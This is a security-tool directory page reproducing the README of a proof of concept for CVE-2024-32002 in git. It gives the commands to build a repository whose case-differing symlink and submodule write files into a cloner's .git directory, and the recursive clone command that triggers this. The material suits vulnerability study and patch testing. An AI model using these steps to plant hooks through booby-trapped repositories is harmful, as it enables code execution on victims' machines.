Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2024-32002-poc-aw — A POC for CVE-2024-32002 demonstrating arbitrary write into the .git directory. | Kitploit
Tools/GitHubGitHub/jakob-pennington/cve-2024-32002-poc-aw
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubjakob-pennington/cve-2024-32002-poc-aw

cve-2024-32002-poc-aw

A POC for CVE-2024-32002 demonstrating arbitrary write into the .git directory.

View Repository
662 years agoNot yet reviewed
Share

CVE-2024-32002 PRC AW

A POC for CVE-2024-32002 demonstrating arbitrary write into the .git directory.

See cve-2024-32002-submodule-aw for the related submodule repository.

What this repo contains

  • A symlink with an arbitraty name that links to the .git directory.
  • A .gitmodules file that defines the malicious submodule.

How to recreate this repo

This repo was created in Linux (WSL2, to be specific). This is important, the malicious repo can only be created on a case-sensitive filesystem.

  1. Create a symlink, using all lowercase characters
ln -s .git submodule

Notes:

  • The symlink should point to the .git folder, since this is where we want to write files
  • The symlink name (submodule) is arbitrary, but should start with a lowercase character
  • This is important, because lowercase characters sort earlier than uppercase characters. When the clonong machine gets confused about where to write the submodule files, we want it to choose the symlink and not a normal directory.
  1. Add the malicious submodule, noting the case difference on the submodule directory name
git submodule add --name aw https://github.com/JakobTheDev/cve-2024-32002-submodule-aw.git Submodule/notexists

Notes:

  • The name of the submodule matters, it wil come into play when placing our hook in the submodule.
  • The first segment of the submodule's path ("Submodule") should match the symlink name above, just differing in case.
  • There must be at least one other segment to the path, since git will only clone submodules into an emptry directory. It will create directories for us though, so we chose "notexists" to demonstrate that.

How to run the POC

  1. Check whether you have a vulnerable version of git. See the GitHub advisory for affected versions.
git --version
  1. Think about whether you knowingly want to run a command that could achieve RCE... This repo is benign, but are you sure?
  2. Run the following command:
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-aw.git
  1. Take a look in the .git directory. See anything out of place. Hint: What files are in the submodule.
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    772
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    505
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    251

Explore all tools

Browse our collection of tools

View all tools →